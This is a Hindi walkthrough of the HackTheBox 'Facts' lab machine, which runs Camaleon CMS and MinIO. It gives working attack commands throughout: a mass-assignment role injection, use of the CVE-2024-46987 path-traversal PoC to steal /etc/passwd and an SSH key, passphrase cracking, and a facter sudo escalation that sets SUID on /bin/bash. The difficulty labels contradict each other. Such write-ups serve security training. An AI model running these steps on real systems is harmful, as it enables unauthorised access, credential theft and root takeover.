
HTB Facts एक आसान Linux बॉक्स है जिसमें Camaleon CMS और MinIO शामिल हैं। खुले पंजीकरण और बड़े पैमाने पर असाइनमेंट भेद्यता के माध्यम से व्यवस्थापक पहुंच प्राप्त करें, फिर व्यवस्थापक सेटिंग्स से MinIO क्रेडेंशियल निकालें। SSH निजी कुंजी चुराने के लिए CVE-2024-46987 पथ ट्रैवर्सल का उपयोग करें, उसका पासफ़्रेज़ क्रैक करें, और GTFOBins के माध्यम से facter पर sudo अनुमतियों का दुरुपयोग करके रूट तक बढ़ाएँ।
कठिनाई: मध्यम
OS: Linux
टैग: Web, MinIO, Camaleon CMS, पथ भ्रमण, SSTI, विशेषाधिकार वृद्धि
सभी खुले TCP पोर्ट की पहचान के लिए पूर्ण TCP पोर्ट स्कैन से प्रारंभ करें।
nmap -p- --min-rate 5000 -T4 10.129.244.96
परिणाम:
| पोर्ट | सेवा | टिप्पणी |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | अज्ञात | MinIO के रूप में पहचाना गया |
लक्ष्य को /etc/hosts में जोड़ें:
echo "10.129.244.96 facts.htb" >> /etc/hosts
http://facts.htb पर ब्राउज़ करने पर Camaleon CMS (Ruby on Rails) पर बना एक ट्रिविया वेबसाइट दिखाई देती है। मुख्य संकेतक:
_factsapp_session (Rails सत्र)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)सभी उपलब्ध पृष्ठों के लिए साइटमैप सूचीबद्ध करें:
curl -s http://facts.htb/sitemap.xml
खोजे गए उल्लेखनीय पथ:
/admin → /admin/login पर रीडायरेक्ट करता है/rss/animal-ejected, /anne-frank, आदि।व्यवस्थापक लॉगिन पैनल की जाँच करें:
curl -v http://facts.htb/admin
# → 302 रीडायरेक्ट /admin/login पर
curl के साथ अज्ञात पोर्ट की जाँच करने पर MinIO का पता चलता है, जो एक S3-संगत ऑब्जेक्ट स्टोरेज सेवा है:
curl -v http://facts.htb:54321
प्रतिक्रिया:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
हेडर पुष्टि करते हैं: Server: MinIO
संभावित बकेट नामों की सूची बनाएँ (सभी 403 लौटाते हैं, जो उनके अस्तित्व की पुष्टि करता है):
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
सभी 403 Forbidden लौटाते हैं — बकेट मौजूद हैं लेकिन क्रेडेंशियल्स आवश्यक हैं।
एसेट पथ और सत्र कुकी से, CMS की पहचान Camaleon CMS के रूप में होती है।
ज्ञात कमजोरियों की जाँच करें:
searchsploit camaleon
परिणाम:
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) | ruby/webapps/51489.txt
व्यवस्थापक पैनल संस्करण 2.9.0 के रूप में पुष्टि होती है (लॉगिन के बाद फुटर में दिखाई देता है)।
http://facts.htb/admin/login पर व्यवस्थापक लॉगिन पृष्ठ में "खाता बनाएँ" लिंक शामिल है। एक नया खाता पंजीकृत करें:
http://facts.htb/admin/users/sign_up पर जाएँtest123 / test123)Client भूमिका वाला खाता बनाता हैपंजीकरण के बाद, व्यवस्थापक डैशबोर्ड में लॉग इन करें। खाते में सीमित Client विशेषाधिकार हैं।
Camaleon CMS पासवर्ड बदलने वाले एंडपॉइंट पर मास असाइनमेंट हमले के लिए संवेदनशील है। पासवर्ड बदलने के अनुरोध को इंटरसेप्ट करके और password[role] पैरामीटर इंजेक्ट करके, एक हमलावर अपनी भूमिका को admin तक बढ़ा सकता है।
Burp Suite का उपयोग करते हुए कदम:
Client खाते के साथ व्यवस्थापक पैनल में लॉग इन करें।प्रोफ़ाइल → संपादित करें → पासवर्ड बदलें पर जाएँ।&password[role]=admin जोड़ें:_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OK होनी चाहिए।खाते में अब व्यवस्थापक विशेषाधिकार हैं, जो CMS व्यवस्थापक पैनल तक पूर्ण पहुँच प्रदान करते हैं, जिसमें सेटिंग्स, मीडिया और फ़ाइल सिस्टम सेटिंग्स शामिल हैं।
व्यवस्थापक पहुँच के साथ, यहाँ जाएँ:
सेटिंग्स → सामान्य साइट → फ़ाइल सिस्टम सेटिंग्स
पृष्ठ हार्डकोडेड MinIO (AWS S3-संगत) क्रेडेंशियल प्रकट करता है:
AWS S3 पहुँच कुंजी: AKIA59D605615FFC8875
AWS S3 गुप्त कुंजी: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 बकेट नाम: randomfacts
AWS S3 क्षेत्र: us-east-1
AWS S3 एंडपॉइंट: http://localhost:54321
AWS CLI कॉन्फ़िगर करें और बकेट सूचीबद्ध करें:
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
खोजे गए बकेट:
2025-09-11 internal
2025-09-11 randomfacts
internal बकेट में trivia उपयोगकर्ता की होम निर्देशिका शामिल है:
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# SSH निजी कुंजी डाउनलोड करें
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
वैकल्पिक रूप से, SSH निजी कुंजी को CVE-2024-46987 के माध्यम से प्राप्त किया जा सकता है, जो Camaleon CMS में एक प्रमाणित पथ भ्रमण भेद्यता है जो सर्वर फ़ाइलों को मनमाने ढंग से पढ़ने की अनुमति देती है।
सार्वजनिक PoC क्लोन करें:
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
संवेदनशील फ़ाइलें पढ़ें:
# चरण 1: सिस्टम उपयोगकर्ताओं की गणना के लिए /etc/passwd पढ़ें
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
आउटपुट (प्रासंगिक पंक्तियाँ):
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
दो उपयोगकर्ता पहचाने गए: trivia और william। चूँकि trivia के पास लॉगिन शेल और होम निर्देशिका है, SSH निजी कुंजी की जाँच करें:
# चरण 2: trivia की SSH निजी कुंजी पढ़ें
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
कुंजी आउटपुट को एक फ़ाइल में सहेजें:
chmod 600 id_ed25519
SSH निजी कुंजी एक पासफ़्रेज़ से एन्क्रिप्ट की गई है। इसे क्रैक करने के लिए ssh2john और john का उपयोग करें:
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
क्रैक किया गया पासफ़्रेज़: dragonballz
ssh -i id_ed25519 [email protected]
# पासफ़्रेज़ दर्ज करें: dragonballz
उपयोगकर्ता झंडा प्राप्त करें:
cat /home/william/user.txt
trivia उपयोगकर्ता के लिए sudo विशेषाधिकार जाँचें:
sudo -l
आउटपुट:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
उपयोगकर्ता बिना पासवर्ड के रूट के रूप में /usr/bin/facter चला सकता है। facter एक Ruby-आधारित सिस्टम सूचना उपकरण है।
GTFOBins के अनुसार, facter --custom-dir के माध्यम से कस्टम Ruby तथ्य फ़ाइलें लोड कर सकता है, जो आह्वान करने वाले उपयोगकर्ता (इस मामले में रूट) के रूप में निष्पादित होती हैं।
शोषण:
# शोषण निर्देशिका और Ruby पेलोड बनाएँ
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF
# कस्टम निर्देशिका के साथ रूट के रूप में facter निष्पादित करें
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x
# bash पर SUID बिट सेट है यह सत्यापित करें
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...
# रूट शेल लॉन्च करें
/bin/bash -p
whoami
# root
cat /root/root.txt
| झंडा | स्थान |
|---|---|
| user.txt | /home/william/user.txt |
| root.txt | /root/root.txt |
Nmap स्कैन
↓
पोर्ट 80: Camaleon CMS 2.9.0
↓
क्लाइंट खाता पंजीकृत करें → व्यवस्थापक पैनल
↓
मास असाइनमेंट: password[role]=admin → व्यवस्थापक भूमिका
↓
व्यवस्थापक सेटिंग्स → MinIO क्रेडेंशियल्स उजागर
↓
CVE-2024-46987: पथ भ्रमण → /home/trivia/.ssh/id_ed25519 पढ़ें
↓
ssh2john + John → पासफ़्रेज़: dragonballz
↓
trivia के रूप में SSH लॉगिन
↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
↓
/bin/bash -p → root
| CVE | विवरण |
|---|---|
| CVE-2024-46987 | Camaleon CMS प्रमाणित पथ भ्रमण / मनमाना फ़ाइल पढ़ना |
| CVE-2023-30145 | Camaleon CMS v2.7.0 SSTI formats पैरामीटर के माध्यम से (इस बॉक्स में उपयोग नहीं किया गया) |